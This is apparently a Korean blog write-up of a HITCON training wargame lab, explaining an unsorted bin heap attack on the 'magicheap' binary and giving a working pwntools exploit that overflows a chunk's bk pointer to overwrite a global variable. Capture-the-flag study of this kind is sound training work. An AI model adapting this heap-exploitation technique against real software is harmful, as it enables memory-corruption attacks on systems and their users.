hint : unsorted bin attack
우선 이 문제는 쉘을 직접 획득하지 않고 magic이라는 전역변수에 0x1305보다 큰 값이 들어가면 l33t()라는 함수를 실행시켜준다.
unsroted bin attack으로 magic변수에 값을 넣어주면 문제를 해결할 수 있다.
우선 unsorted bin attack이 가능하게 할 조건은 아래와 같다.
1. 공격자에 의해 Unsorted chunk를 생성 할 수있어야 한다.
2. 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 한다.
3. 공격자에 의해 Free chunk 와 동일한 크기의 Heap 영역을 할당 할 수 있어야 한다.
이 문제는 위 조건에 대해 막는 부분이 없기 때문에 손쉽게 익스를 할 수 있다.
익스 방법은 create()함수로 3번의 할당을 받는다.
그리고 delete()로 두번째 heap영역을 free시켜주면 unsorted bin chunk가 생긴다.
그 다음 첫번째 heap 영역을 edit()함수로 오버플로우해서 2번째 chunk의 bk를 magic - 16으로 덮는다.
그리고 다시 create()함수로 free된 chunk의 사이즈와 같은 사이즈로 새 할당을 받으면 bk값을 확인한 후 다음 chunk가 존재한다고 판단해서 main_arena+88의 주소를 magic에 넣게 된다.
free() 함수는 magic - 16 영역이 다음 chunk이기 때문에 fd 영역(magic)에 free chunk의 fd값을 저장한다.
exploit code
from pwn import * def create(size, content): r.sendline("1") #r.recv() r.sendline(str(size)) #r.recv() r.send(content) #r.recv() def edit(index, size, content): r.sendline("2") #r.recv() r.sendline(str(index)) #r.recv() r.sendline(str(size)) #r.recv() r.sendline(content) #r.recv() def delete(index): r.sendline("3") #r.recv() r.sendline(str(index)) #r.recv() if __name__ == "__main__": r = process("./magicheap") create(150, "AAAA") create(150, "BBBB") create(150, "CCCC") delete(1) payload = "D"*152 payload += p64(0xa1) payload += p64(0) payload += p64(0x6020b0) edit(0, 176, payload) pause() create(150, "1111") r.sendline("4869") r.interactive()
'Wargame > Hitcon training' 카테고리의 다른 글
HITCON training lab11 (house of force) (0) | 2018.10.29 |
---|---|
HITCON training lab10 (0) | 2018.10.25 |
HITCON training lab6 (0) | 2018.10.22 |
HITCON training lab4 (0) | 2018.10.18 |
HITCON training lab5 (0) | 2018.10.16 |